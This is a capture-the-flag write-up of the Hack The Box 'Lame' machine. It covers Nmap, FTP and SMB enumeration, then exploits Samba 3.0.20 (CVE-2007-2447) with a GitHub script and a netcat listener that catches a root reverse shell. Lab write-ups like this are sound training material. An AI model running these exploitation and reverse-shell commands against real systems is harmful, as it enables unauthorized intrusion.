Initial Enumeration
Nmap
I began by running an Nmap scan to identify the services available on the target:
nmap -sC -sV -oA nmap/lame-initial 10.129.197.155 -Pn
It revealed the following services:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-22 20:04 BST Nmap scan report for 10.129.197.155 Host is up (0.035s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.65 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 2h00m35s, deviation: 2h49m43s, median: 34s |_smb2-time: Protocol negotiation failed (SMB2) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2024-07-22T15:05:46-04:00
FTP
Nmap reported that FTP was available and allowing anonymous login so I investigated that first. Anonymous login means that anyone can logon to the FTP service regardless of whether they have valid credentials.
I connected to the FTP service with ftp 10.129.179.211 and entered the username anonymous and password anonymous when prompted – as anonymous login was permitted, the username and password values could be any value.
Once connected, I used ls to list the contents but nothing was returned:
The FTP service was running thevsftpd 2.3.4 software which was shown on searchsploit to be vulnerable to backdoor command execution:
Despite there being a module in Metasploit to exploit this version, it did not work against this target.
Multiple exploits were found on github but none of those worked either.
SMB
SMB shares were enumerated next with smbclient -L 10.129.197.155 providing an empty password:
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
The tmp share was checked with smbclient //10.129.197.155/tmp but didn’t look to contain anything of interest:
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 22 20:32:01 2024
.. DR 0 Sat Oct 31 06:33:58 2020
.ICE-unix DH 0 Mon Jul 22 20:03:13 2024
vmware-root DR 0 Mon Jul 22 20:03:20 2024
.X11-unix DH 0 Mon Jul 22 20:03:40 2024
.X0-lock HR 11 Mon Jul 22 20:03:40 2024
5657.jsvc_up R 0 Mon Jul 22 20:04:25 2024
vgauthsvclog.txt.0 R 1600 Mon Jul 22 20:03:12 2024
7282168 blocks of size 1024. 5385880 blocks available
The opt share couldn’t be connected to:
Password for [WORKGROUP\kali]: Anonymous login successful tree connect failed: NT_STATUS_ACCESS_DENIED
Listing the SMB shares revealed that Samba 3.0.20 was being used on the server which, according to searchsploit, should be vulnerable to command execution:
An exploit for this vulnerability was found on github here – https://github.com/MikeRega7/CVE-2007-2447-RCE which I downloaded to my Kali machine
The script required the pysmb module so a Python virtual environment was created with python3 -m venv ./venv to avoid any issues with the main Python installation
With the virtual environment created, it was activated with source venv/bin/activate
The pysmb module was then installed with pip3 install pysmb
Finally, a netcat listener was created with nc -lvnp 4444 to catch the reverse shell
The script was then executed with python3 samba_usermap.py --lhost 10.10.14.65 --lport 4444 --rhost 10.129.197.155 --rport 139
The arguments used were:
--lhost– the IP address of the attack machine--lport– the port to listen on on the attack machine (used in the netcat listener)--rhost– the IP address of the target machine--rport– the port on the target machine (most likely to be 139)
A shell was received and the root flag was found in the /root directory:
listening on [any] 4444 ... connect to [10.10.14.65] from (UNKNOWN) [10.129.197.155] 34157 whoami root cat /root/root.txt bd1**************************f90
The user flag was found in the /home/makis directory:
cat /home/makis/user.txt 640**************************0fb